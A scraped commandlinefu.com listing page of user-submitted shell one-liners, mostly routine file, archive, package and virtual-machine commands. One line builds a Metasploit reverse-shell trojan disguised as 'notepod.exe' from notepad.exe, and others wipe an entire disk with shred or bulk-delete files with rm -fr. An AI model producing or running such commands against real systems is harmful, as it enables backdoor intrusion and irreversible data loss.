Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

All commands from sorted by
Terminal - All commands - 11,484 results
watch -n <seconds> <command>
apt-cache search perl | grep module | awk '{print $1;}' | xargs sudo apt-get install -y
-2

I used this to mass install a lot of perl stuff. Threw it together because I was feeling *especially* lazy. The 'perl' and the 'module' can be replaced with whatever you like.

find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ;
2009-11-20 16:31:58
User: angleto
Functions: awk find rm xargs
-2

remove files with access time older than a given date.

If you want to remove files with a given modification time replace %A@ with %T@. Use %C@ for the modification time.

The time is expressed in epoc but is easy to use any other ordered format.

dir='path to file'; tar cpf - "$dir" | pv -s $(du -sb "$dir" | awk '{print $1}') | tar xpf - -C /other/path
2010-01-19 19:05:45
User: starchox
Functions: awk dir du tar
Tags: copy tar cp
-2

This may seem like a long command, but it is great for making sure all file permissions are kept in tact. What it is doing is streaming the files in a sub-shell and then untarring them in the target directory. Please note that the -z command should not be used for local files and no perfomance increase will be visible as overhead processing (CPU) will be evident, and will slow down the copy.

You also may keep simple with, but you don't have the progress info:

cp -rpf /some/directory /other/path
python -c "from uuid import UUID; print UUID('63b726a0-4c59-45e4-af65-bced5d268456').hex;"
2011-11-20 10:35:44
User: mackaz
Functions: python
-2

Remove dashes, also validates if it's a valid UUID (in contrast to simple string-replacement)

find . -type f -exec grep -l "some string" {} \;
find -amin +[n] -delete
2009-11-20 17:15:28
User: TeacherTiger
Functions: find
-2

Deletes files older than "n" minutes ago. Note the plus sign before the n is important and means "greater than n". This is more precise than atime, since atime is specified in units of days. NOTE that you can use amin/atime, mmin/mtime, and cmin/ctime for access, modification, and change times, respectively. Also, using -delete is faster than piping to xargs, since no piping is needed.

find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors"
2010-07-23 08:09:47
User: ejrowley
Functions: find grep
-2

If your site is struck with the white screen of death you can find the syntax error quickly with php lint

echo !$
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe
find / -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l
acpi | cut -d '%' -f1 | cut -d ',' -f2
VBoxManage controlvm ServidorProducao savestate
mkdir {1..100}
apt-cache policy mythtv
2011-08-05 17:34:41
User: PLA
Functions: apt
-2

Use this command to determine what version of MythTV you are running on a Debian system. Tested on a Mythbuntu installation.

rdesktop -a 16 luigi:3052
cp foo.txt foo.txt.tmp; sed '$ d' foo.txt.tmp > foo.txt; rm -f foo.txt.tmp
2012-09-13 20:57:40
User: kaushalmehra
Functions: cp rm sed
Tags: sed unix
-2

sed '$ d' foo.txt.tmp

...deletes last line from the file

guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr -d ' '; }
sudo shred -zn10 /dev/sda
2009-04-30 13:02:43
User: dcabanis
Functions: shred sudo
-2

Shred can be used to shred a given partition or an complete disk. This should insure that not data is left on your disk

alias ping='ping -n'
who;ps aux|grep ssh
qemu-img create ubuntu.qcow 10G
for i in "*.txt"; do tar -c -v -z -f $i.tar.gz "$i" && rm -v "$i"; done
qemu -cdrom /dev/cdrom -hda ubuntu.qcow -boot d -net nic -net user -m 196 -localtime
2011-10-15 09:21:49
User: anhpht
-2

Boot without CD-Rom:

qemu fedora.qcow -boot c -net nic -net user -m 196 -localtime

echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml
2009-02-16 14:34:05
User: ronz0
Functions: echo read
-2

Modify the script for your username and password, and save it as a script. Run the script, and enjoy ./tweet